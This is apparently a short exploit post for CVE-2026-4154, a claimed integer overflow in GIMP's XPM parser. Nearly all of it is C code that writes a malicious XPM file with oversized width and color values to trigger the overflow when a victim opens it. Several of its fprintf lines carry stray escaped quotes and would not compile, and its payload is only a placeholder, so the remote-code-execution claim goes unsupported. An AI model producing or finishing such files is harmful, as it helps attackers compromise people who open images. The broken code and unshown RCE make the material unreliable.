CVE-2026-4154: GIMP XPM解析整数溢出致RCE漏洞

/* * PoC for CVE-2026-4154: GIMP XPM Integer Overflow * This code generates a malicious XPM file structure to trigger the vulnerability. */ #include <stdio.h> #include <stdlib.h> // Large values to trigger multiplication overflow during buffer allocation #define WIDTH 0x10000000 #define HEIGHT 0x10 #define COLORS 0x10000000 int main() { FILE *fp = fopen("exploit_CVE-2026-4154.xpm", "wb"); if (!fp) { perror("Failed to create file"); return 1; } // XPM Header format: width height ncolors chars_per_pixel // The multiplication of WIDTH, HEIGHT, and COLORS triggers the integer overflow fprintf(fp, "/* XPM */\n"); fprintf(fp, "static char * exploit_xpm[] = {\n"); fprintf(fp, \"%d %d %d 1\",\n", WIDTH, HEIGHT, COLORS); // Minimal payload structure to demonstrate the header parsing flaw fprintf(fp, \"1 c #FFFFFF\",\n"); fprintf(fp, \"%*s\",\n", WIDTH, \"A\"); // Just a placeholder for pixel data fprintf(fp, "};\n"); fclose(fp); printf("Malicious XPM file 'exploit_CVE-2026-4154.xpm' generated.\n"); printf("Opening this file in a vulnerable GIMP version may trigger the overflow.\n"); return 0; }